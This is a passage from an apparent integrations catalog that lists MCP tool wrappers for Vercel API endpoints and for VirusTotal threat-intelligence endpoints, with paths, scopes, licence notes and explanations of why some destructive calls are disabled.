/api/v1/vercel/v2/teams/{teamId}/members. Scopes: api. vercel_post_v3_sandboxes (write) — Create a named sandbox via POST /v3/sandboxes POST /api/v1/vercel/v3/sandboxes. Scopes: api. vercel_post_v3_sandboxes_by_name_fork (write) — Fork a named sandbox via POST /v3/sandboxes/{name}/fork POST /api/v1/vercel/v3/sandboxes/{name}/fork. Scopes: api. vercel_post_v3_sandboxes_sessions_by_sessionid_snapshot (write) — Create a snapshot via POST /v3/sandboxes/sessions/{sessionId}/snapshot POST /api/v1/vercel/v3/sandboxes/sessions/{sessionId}/snapshot. Scopes: api. vercel_post_v3_user_tokens (write) — Create an Auth Token via POST /v3/user/tokens POST /api/v1/vercel/v3/user/tokens. Scopes: api. vercel_post_v4_sandboxes (write) — Create a named sandbox via POST /v4/sandboxes POST /api/v1/vercel/v4/sandboxes. Scopes: api. vercel_post_v7_domains (write) — Add an existing domain to the Vercel platform via POST /v7/domains POST /api/v1/vercel/v7/domains. Scopes: api. vercel_post_v8_artifacts (write) — Query information about an artifact via POST /v8/artifacts POST /api/v1/vercel/v8/artifacts. Scopes: api. vercel_post_v8_artifacts_events (write) — Record an artifacts cache usage event via POST /v8/artifacts/events POST /api/v1/vercel/v8/artifacts/events. Scopes: api. vercel_post_v8_certs (write) — Issue a new cert via POST /v8/certs POST /api/v1/vercel/v8/certs. Scopes: api. vercel_post_v9_domains_by_domain_claim (write) — Claim Domain Ownership via POST /v9/domains/{domain}/claim POST /api/v1/vercel/v9/domains/{domain}/claim. Scopes: api. vercel_post_v9_projects_by_idorname_custom_environments (write) — Create a custom environment for the current project. via POST /v9/projects/{idOrName}/custom-environments POST /api/v1/vercel/v9/projects/{idOrName}/custom-environments. Scopes: api. vercel_post_v9_projects_by_idorname_domains_by_domain_verify (write) — Verify project domain via POST /v9/projects/{idOrName}/domains/{domain}/verify POST /api/v1/vercel/v9/projects/{idOrName}/domains/{domain}/verify. Scopes: api. vercel_post_web_insights_toggle (write) — Create web insights toggle via POST /web/insights/toggle POST /api/v1/vercel/web/insights/toggle. Scopes: api. vercel_put_domains_by_domain_records (write) — Replace domains by domain records via PUT /domains/{domain}/records PUT /api/v1/vercel/domains/{domain}/records. Scopes: api. vercel_put_projects_transfer_request_by_code (write) — Accept project transfer request via PUT /projects/transfer-request/{code} PUT /api/v1/vercel/projects/transfer-request/{code}. Scopes: api. vercel_put_v1_bulk_redirects (write) — Stages new redirects for a project. via PUT /v1/bulk-redirects PUT /api/v1/vercel/v1/bulk-redirects. Scopes: api. vercel_put_v1_global_config_by_edgeconfigid (write) — Update a Global Config via PUT /v1/global-config/{edgeConfigId} PUT /api/v1/vercel/v1/global-config/{edgeConfigId}. Scopes: api. vercel_put_v1_observability_manage_configuration_projects_by_projectidorname (write) — Updates a disabled Observability Plus project setting via PUT /v1/observability/manage/configuration/projects/{projectIdOrName} PUT /api/v1/vercel/v1/observability/manage/configuration/projects/{projectIdOrName}. Scopes: api. vercel_put_v1_projects_by_projectid_routes (write) — Stage routing rules via PUT /v1/projects/{projectId}/routes PUT /api/v1/vercel/v1/projects/{projectId}/routes. Scopes: api. vercel_put_v1_projects_by_projectidorname_feature_flags_flags (write) — Create a flag via PUT /v1/projects/{projectIdOrName}/feature-flags/flags PUT /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/flags. Scopes: api. vercel_put_v1_projects_by_projectidorname_feature_flags_sdk_keys (write) — Create an SDK key via PUT /v1/projects/{projectIdOrName}/feature-flags/sdk-keys PUT /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/sdk-keys. Scopes: api. vercel_put_v1_projects_by_projectidorname_feature_flags_segments (write) — Create a segment via PUT /v1/projects/{projectIdOrName}/feature-flags/segments PUT /api/v1/vercel/v1/projects/{projectIdOrName}/feature-flags/segments. Scopes: api. vercel_put_v1_security_firewall_config (write) — Put Firewall Configuration via PUT /v1/security/firewall/config PUT /api/v1/vercel/v1/security/firewall/config. Scopes: api. vercel_put_v8_certs (write) — Upload a cert via PUT /v8/certs PUT /api/v1/vercel/v8/certs. Scopes: api. ================================================================================ ## VirusTotal URL: https://www.agenticfabriq.com/integrations/virus_total Section: Integrated Tools VirusTotal — 204 MCP tools Provider key: virus_total. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. virus_total_delete_collections_by_id (write, destructive) — Delete an IoC collection via DELETE /collections/{id}. Examples Delete a private IoC collection. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. DELETE /api/v1/virus_total/collections/{id}. Scopes: api. virus_total_delete_collections_by_id_by_relationship (write, destructive) — Delete items from an IoC collection via DELETE /collections/{id}/{relationship}. As explained in /collections, for the urls relationship you either use {"type": "url", "url": <a URL string Examples Delete an element, domain, from an existing IoC collection. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. DELETE /api/v1/virus_total/collections/{id}/{relationship}. Scopes: api. virus_total_delete_comments_by_id (write, destructive) — Delete a comment via DELETE /comments/{id}. DELETE /api/v1/virus_total/comments/{id}. Scopes: api. virus_total_delete_graphs_by_id (write, destructive) — Delete a graph via DELETE /graphs/{id}. DELETE /api/v1/virus_total/graphs/{id}. Scopes: api. virus_total_delete_graphs_by_id_relationships_editors_by_user_or_group_id (write, destructive) — Revoke edit graph permissions from a user or group via DELETE /graphs/{id}/relationships/editors/{user_or_group_id}. DELETE /api/v1/virus_total/graphs/{id}/relationships/editors/{user_or_group_id}. Scopes: api. virus_total_delete_graphs_by_id_relationships_viewers_by_user_or_group_id (write, destructive) — Revoke view permission from a user or group via DELETE /graphs/{id}/relationships/viewers/{user_or_group_id}. DELETE /api/v1/virus_total/graphs/{id}/relationships/viewers/{user_or_group_id}. Scopes: api. virus_total_delete_groups_by_id_relationships_administrators_by_user_id (write, destructive) — Revoke group admin permissions from a user via DELETE /groups/{id}/relationships/administrators/{user_id}. DELETE /api/v1/virus_total/groups/{id}/relationships/administrators/{user_id}. Scopes: api. virus_total_delete_groups_by_id_relationships_users_by_user_id (write, destructive) — Remove a user from a group via DELETE /groups/{id}/relationships/users/{user_id}. DELETE /api/v1/virus_total/groups/{id}/relationships/users/{user_id}. Scopes: api. virus_total_delete_intelligence_hunting_notifications (write, destructive) — Delete Livehunt notifications via DELETE /intelligence/hunting_notifications. This endpoint deletes Google Threat Intelligence Hunting Livehunt notifications in bulk. If the tag parameter is specified all your notifications with the given tag will be deleted. If the tag parameter is not specified all your notifications will be deleted. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. DELETE /api/v1/virus_total/intelligence/hunting_notifications. Scopes: api. virus_total_delete_intelligence_hunting_notifications_by_id (write, destructive) — Delete a Livehunt notification via DELETE /intelligence/hunting_notifications/{id}. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. DELETE /api/v1/virus_total/intelligence/hunting_notifications/{id}. Scopes: api. virus_total_delete_intelligence_hunting_rulesets (write, destructive) — Remove all Livehunt rulesets via DELETE /intelligence/hunting_rulesets. This API call deletes all rulesets owned by the user and removes the user from the list of editors in rules shared with them. This operation is asynchronous: the handler launches a background job and returns immediately. This API endpoint returns a Operation object. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. THIS TOOL CANNOT BE CALLED and refuses before any request is sent: VirusTotal requires an `x-confirm-delete` request header set to the connection owner's VirusTotal username as confirmation, in its own words 'since this is a very destructive operation'. The MCP dispatcher has no header channel, and filling the header connector-side would defeat the confirmation rather than satisfy it. Delete Livehunt rulesets one at a time with the Delete a Livehunt ruleset tool (DELETE /intelligence/hunting_rulesets/{id}), which addresses its target in the path and needs no confirmation header. DELETE /api/v1/virus_total/intelligence/hunting_rulesets. Scopes: api. virus_total_delete_intelligence_hunting_rulesets_by_id (write, destructive) — Delete a Livehunt ruleset via DELETE /intelligence/hunting_rulesets/{id}. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. DELETE /api/v1/virus_total/intelligence/hunting_rulesets/{id}. Scopes: api. virus_total_delete_intelligence_hunting_rulesets_by_id_relationships_editors_by_user_or_group_id (write, destructive) — Revoke Livehunt ruleset edit permission from a user or group via DELETE /intelligence/hunting_rulesets/{id}/relationships/editors/{user_or_group_id}. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. DELETE /api/v1/virus_total/intelligence/hunting_rulesets/{id}/relationships/editors/{user_or_group_id}. Scopes: api. virus_total_delete_intelligence_retrohunt_jobs_by_id (write, destructive) — Delete a Retrohunt job via DELETE /intelligence/retrohunt_jobs/{id}. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. DELETE /api/v1/virus_total/intelligence/retrohunt_jobs/{id}. Scopes: api. virus_total_delete_ioc_stream (write, destructive) — Delete notifications from the IoC Stream via DELETE /ioc_stream. Uses the same filters than the IoC Stream (GET /ioc_stream) to delete all the matching notifications. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. DELETE /api/v1/virus_total/ioc_stream. Scopes: api. virus_total_delete_ioc_stream_notifications_by_id (write, destructive) — Delete an IoC Stream notification via DELETE /ioc_stream_notifications/{id}. Deletes an IoC Stream notification. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. DELETE /api/v1/virus_total/ioc_stream_notifications/{id}. Scopes: api. virus_total_delete_private_files_by_id (write, destructive) — Delete a private file report via DELETE /private/files/{id}. This endpoint deletes a private file from storage, as well as all the PrivateFile and PrivateAnalysis associated with it (unless only_from_storage=true is used. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. DELETE /api/v1/virus_total/private/files/{id}. Scopes: api. virus_total_delete_users_by_id (write, destructive) — Delete a user via DELETE /users/{id}. This request deletes a given user. A user account can only be deleted by its owner, a 403 error is returned otherwise. An additional x-user-password header is required, which is used as confirmation. THIS TOOL CANNOT BE CALLED and refuses before any request is sent: VirusTotal requires the account holder's own VirusTotal PASSWORD in an `x-user-password` request header as confirmation for this call. A password is a credential Agentic Fabriq does not hold and must never accept as a tool argument -- it would land in this tool's schema and in the transcript of every call -- and the MCP dispatcher has no header channel to carry one in any case. Delete the account from the VirusTotal web UI instead. Note that the account this would delete is the one whose API key this connection stores, so the call would also destroy the connection's own credential. DELETE /api/v1/virus_total/users/{id}. Scopes: api. virus_total_get_analyses_by_id (read) — Get a URL / file analysis via GET /analyses/{id}. Returns an Analysis object. GET /api/v1/virus_total/analyses/{id}. Scopes: api. virus_total_get_analyses_by_id_by_relationship (read) — Get objects related to an analysis via GET /analyses/{id}/{relationship}. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. Available relationships are described in the analysis object documentation. GET /api/v1/virus_total/analyses/{id}/{relationship}. Scopes: api. virus_total_get_analyses_by_id_relationships_by_relationship (read) — Get object descriptors related to an analysis via GET /analyses/{id}/relationships/{relationship}. This endpoint is the same as /analyses/{id}/{relationship} except it returns just the related object's descriptors (ID and context attributes, if any) instead of returning all attributes. GET /api/v1/virus_total/analyses/{id}/relationships/{relationship}. Scopes: api. virus_total_get_attack_tactics_by_id (read) — Get an attack tactic object via GET /attack_tactics/{id}. GET /api/v1/virus_total/attack_tactics/{id}. Scopes: api. virus_total_get_attack_tactics_by_id_by_relationship (read) — Get objects related to an attack tactic via GET /attack_tactics/{id}/{relationship}. Available relationships are described in the Attack Tactic object documentation. GET /api/v1/virus_total/attack_tactics/{id}/{relationship}. Scopes: api. virus_total_get_attack_tactics_by_id_relationships_by_relationship (read) — Get object descriptors related to an attack tactic via GET /attack_tactics/{id}/relationships/{relationship}. This endpoint is the same as /attack_tactics/{id}/{relationship} except it returns just the related object's descriptor instead of returning all attributes. GET /api/v1/virus_total/attack_tactics/{id}/relationships/{relationship}. Scopes: api. virus_total_get_attack_techniques_by_id (read) — Get an attack technique object via GET /attack_techniques/{id}. GET /api/v1/virus_total/attack_techniques/{id}. Scopes: api. virus_total_get_attack_techniques_by_id_by_relationship (read) — Get objects related to an attack technique via GET /attack_techniques/{id}/{relationship}. Available relationships are described in the Attack Technique object documentation. GET /api/v1/virus_total/attack_techniques/{id}/{relationship}. Scopes: api. virus_total_get_attack_techniques_by_id_relationships_by_relationship (read) — Get object descriptors related to an attack technique via GET /attack_techniques/{id}/relationships/{relationship}. This endpoint is the same as /attack_techniques/{id}/{relationship} except it returns just the related object's descriptor instead of returning all attributes. GET /api/v1/virus_total/attack_techniques/{id}/relationships/{relationship}. Scopes: api. virus_total_get_collections (read) — List threat objects (Actor, Malware & Tool, Campaign, IoC Collection, Vulnerability, Report) via GET /collections. This endpoint allows us to search and filter Threat Intelligence objects effectively. It returns a list of Threat objects with a collection_type parameter whose value can be one of the followings: - collection: Collections of Indicators of Compromise are grouped together based on their observed usage in the wild in malicious campaigns or their association with specific malware families. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/collections. Scopes: api. virus_total_get_collections_by_id (read) — Get a Threat via GET /collections/{id}. This endpoint returns a Threat Actor, Campaign, Malware Family, Software or Toolkit Actor, IoC Collection, Report or a Vulnerability object. Examples Get a threat actor report. Get a malware or toolkit report. Get a campaign report. Get a IoC collection report. Get a vulnerability report. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/collections/{id}. Scopes: api. virus_total_get_collections_by_id_aggregations_download_by_format (read) — Export aggregations / commonalities from a threat object (Actor, Malware & Tool, Campaign, IoC Collection, Vulnerability, Report) via GET /collections/{id}/aggregations/download/{format}. Examples Export commonalities from a threat actor. Export commonalities from a malware or toolkit. Export commonalities from a campaign. Export commonalities from a IoC collection. Export commonalities from a vulnerability. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/collections/{id}/aggregations/download/{format}. Scopes: api. virus_total_get_collections_by_id_by_relationship (read) — Get objects related to a threat object (Actor, Malware & Tool, Campaign, IoC Collection, Vulnerability, Report) via GET /collections/{id}/{relationship}. This endpoint returns available relationships that are described in the Threat Actor, Campaign, Malware Family, Software or Toolkit, IoC Collection, Reports and Vulnerability objects documentation. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/collections/{id}/{relationship}. Scopes: api. virus_total_get_collections_by_id_by_relationship_download_by_format (read) — Export IOCs from a given threat object (Actor, Malware & Tool, Campaign, IoC Collection, Vulnerability, Report)'s relationship via GET /collections/{id}/{relationship}/download/{format}. Examples Export files related to a given threat actor. Export files related to a given malware or toolkit. Export files related to a given campaign. Export files related to a given IoC collection. Export files related to a given vulnerability. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/collections/{id}/{relationship}/download/{format}. Scopes: api. virus_total_get_collections_by_id_comments (read) — Get comments from a threat object (Actor, Malware & Tool, Campaign, IoC Collection, Vulnerability, Report) via GET /collections/{id}/comments. Returns a list of Comments objects. Examples Get 3 community comments from a threat actor. Get 3 community comments from a malware or toolkit. Get 3 community comments from a campaign. Get 3 community comments from a IoC collection. Get 3 community comments from a vulnerability. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/collections/{id}/comments. Scopes: api. virus_total_get_collections_by_id_download_by_format (read) — Export IOCs from a threat object (Actor, Malware & Tool, Campaign, IoC Collection, Vulnerability, Report) via GET /collections/{id}/download/{format}. Examples Export IoCs from a threat actor. Export IoCs from a malware or toolkit. Export IoCs from a campaign. Export IoCs from a IoC collection. Export IoCs from a vulnerability. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/collections/{id}/download/{format}. Scopes: api. virus_total_get_collections_by_id_mitre_tree (read) — Get MITRE tactics and techniques associated with a threat object (Actor, Malware & Tool, Campaign, IoC Collection, Vulnerability, Report) via GET /collections/{id}/mitre_tree. Returns a list of MITRE tactics with their correspondent techniques that are associated with the Threat Actor, Campaign,Malware family, Software or Toolkit, IoC Collection, Report or Vulnerability as follows: Example response Examples Get the MITRE tree associated with a threat actor. Get the MITRE tree associated with a malware or toolkit. Get the MITRE tree associated with a campaign. Get the MITRE tree associated with a IoC collection. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/collections/{id}/mitre_tree. Scopes: api. virus_total_get_collections_by_id_relationships_by_relationship (read) — Get object descriptors related to a threat object (Actor, Malware & Tool, Campaign, IoC Collection, Vulnerability, Report) via GET /collections/{id}/relationships/{relationship}. This endpoint is the same as /collections/{id}/{relationship} for actors, campaigns, malware and IoC collections, reports or vulnerabilities except it returns just the related object's descriptor instead of returning all attributes. Available relationships are described in the Threat Actor, Campaign, Malware Family, Software or Toolkit, IoC Collection, Reports and Vulnerability objects documentation. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/collections/{id}/relationships/{relationship}. Scopes: api. virus_total_get_collections_by_id_search (read) — Search IoCs inside a threat object (Actor, Malware & Tool, Campaign, IoC Collection, Vulnerability, Report) via GET /collections/{id}/search. Allows to search IoCs inside a threat object (threat actor, campaign,malware & tool, IoC collection, report or vulnerability) using advanced intelligence queries. The expected input is the same as /intelligence/search. By default it searches files, in order to search other entities use entity:domain/ip/url. Examples Search for IoCs related to a threat actor that meet certain conditions. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/collections/{id}/search. Scopes: api. virus_total_get_comments (read) — Get latest comments via GET /comments. This endpoint retrieves information about the latest comments added to Google Threat Intelligence. You can do some filtering over those comments, and get only those that contains a certain tag inside (e.g. filter=tag:malware). GET /api/v1/virus_total/comments. Scopes: api. virus_total_get_comments_by_id (read) — Get a comment object via GET /comments/{id}. GET /api/v1/virus_total/comments/{id}. Scopes: api. virus_total_get_comments_by_id_by_relationship (read) — Get objects related to a comment via GET /comments/{id}/{relationship}. Comment objects are related to other objects in the Google Threat Intelligence dataset. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationships endpoint. All available relationships are documented in the Comment API object page. GET /api/v1/virus_total/comments/{id}/{relationship}. Scopes: api. virus_total_get_comments_by_id_relationships_by_relationship (read) — Get object descriptors related to a comment via GET /comments/{id}/relationships/{relationship}. This endpoint is the same as /comments/{id}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. GET /api/v1/virus_total/comments/{id}/relationships/{relationship}. Scopes: api. virus_total_get_domains_by_domain (read) — Get a domain report via GET /domains/{domain}. Returns a Domain object. GET /api/v1/virus_total/domains/{domain}. Scopes: api. virus_total_get_domains_by_domain_by_relationship (read) — Get objects related to a domain via GET /domains/{domain}/{relationship}. Domain objects have number of relationships to other Domains and objects. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. All available relationships are documented in the domain API object page. GET /api/v1/virus_total/domains/{domain}/{relationship}. Scopes: api. virus_total_get_domains_by_domain_comments (read) — Get comments on a domain via GET /domains/{domain}/comments. Returns a list of Comment objects. GET /api/v1/virus_total/domains/{domain}/comments. Scopes: api. virus_total_get_domains_by_domain_relationships_by_relationship (read) — Get object descriptors related to a domain via GET /domains/{domain}/relationships/{relationship}. This endpoint is the same as /domains/{domain}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. GET /api/v1/virus_total/domains/{domain}/relationships/{relationship}. Scopes: api. virus_total_get_domains_by_domain_votes (read) — Get votes on a domain via GET /domains/{domain}/votes. Returns a list of Vote objects. GET /api/v1/virus_total/domains/{domain}/votes. Scopes: api. virus_total_get_feeds_domains_by_time (read) — Get a minutely domain feed batch via GET /feeds/domains/{time}. With this endpoint you can download an individual one-minute batch by providing a time consisting of a string with format YYYYMMDDhhmm. Time 201912010802 will return the batch corresponding to December 1st, 2019 08:02 UTC. You can download batches up to 7 days old, and the most recent batch has always a 60 minutes lag with respect with to the current time. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/domains/{time}. Scopes: api. virus_total_get_feeds_domains_hourly_by_time (read) — Get an hourly domain feed batch via GET /feeds/domains/hourly/{time}. This endpoint returns a single package containing all minutely packages returned in /feeds/domains/{time} endpoint for a given hour. The returned file is a .tar.bz2 file which contains the 60 minutely feeds for that hour. The provided time argument must be in YYYYMMDDhh format. For example, time 2021012211 returns the batches correspoding to January 21st 2021 11:00 - 11:59 UTC. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/domains/hourly/{time}. Scopes: api. virus_total_get_feeds_file_behaviours_by_time (read) — Get a per-minute file behaviour feed batch via GET /feeds/file_behaviours/{time}. With this endpoint you can download an individual one-minute batches by providing a time consisting of a string with format YYYYMMDDhhmm. Time 201912010802 will return the batch corresponding to December 1st, 2019 08:02 UTC. You can download batches up to 7 days old, and the most recent batch has always a 60 minutes lag with respect to the current time. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/file_behaviours/{time}. Scopes: api. virus_total_get_feeds_file_behaviours_by_token_evtx (read) — Get the EVTX file generated during a file’s behavior analysis (IoC Feeds) via GET /feeds/file_behaviours/{token}/evtx. Each JSON object contained in the file behaviour feed packages include a link to this API endpoint to download the extracted EVTX from the file's Windows sandbox execution. The available in the feed link already includes the download token required by this endpoint. The following snippet represents the JSON structure in the file behaviour feed that takes to the link: The link only works during the feed's lifetime. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/file_behaviours/{token}/evtx. Scopes: api. virus_total_get_feeds_file_behaviours_by_token_html (read) — Get a file behaviour's detailed HTML report via GET /feeds/file_behaviours/{token}/html. Each JSON object contained in the file behaviour feed packages include a URL to this API endpoint to download the the file's sandbox execution HTML report. The available in the feed link already includes the download token required by this endpoint. The following snippet represents the JSON structure in the file behaviour feed that takes to the link: The link only works during the feed's lifetime. Check /feeds/file_behaviours/{time} for more information. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/file_behaviours/{token}/html. Scopes: api. virus_total_get_feeds_file_behaviours_by_token_memdump (read) — Get the memdump file generated during a file’s behavior analysis (IoC Feeds) via GET /feeds/file_behaviours/{token}/memdump. Each JSON object contained in the file behaviour feed packages include a URL to this API endpoint to download the extracted memdump from the file's sandbox execution. The available in the feed link already includes the download token required by this endpoint. The following snippet represents the JSON structure in the file behaviour feed that takes to the link: The link only works during the feed's lifetime. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/file_behaviours/{token}/memdump. Scopes: api. virus_total_get_feeds_file_behaviours_by_token_pcap (read) — Get the PCAP file generated during a file’s behavior analysis (IoC Feeds) via GET /feeds/file_behaviours/{token}/pcap. Each JSON object contained in the file behaviour feed packages include a URL to this API endpoint to download the extracted PCAP from the file's sandbox execution. The available in the feed link already includes the download token required by this endpoint. The following snippet represents the JSON structure in the file behaviour feed that takes to the link: The link only works during the feed's lifetime. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/file_behaviours/{token}/pcap. Scopes: api. virus_total_get_feeds_file_behaviours_hourly_by_time (read) — Get an hourly file behaviour feed batch via GET /feeds/file_behaviours/hourly/{time}. This endpoint returns a single package containing all minutely packages returned in /feeds/file_behaviours/{time} endpoint for a given hour. The returned 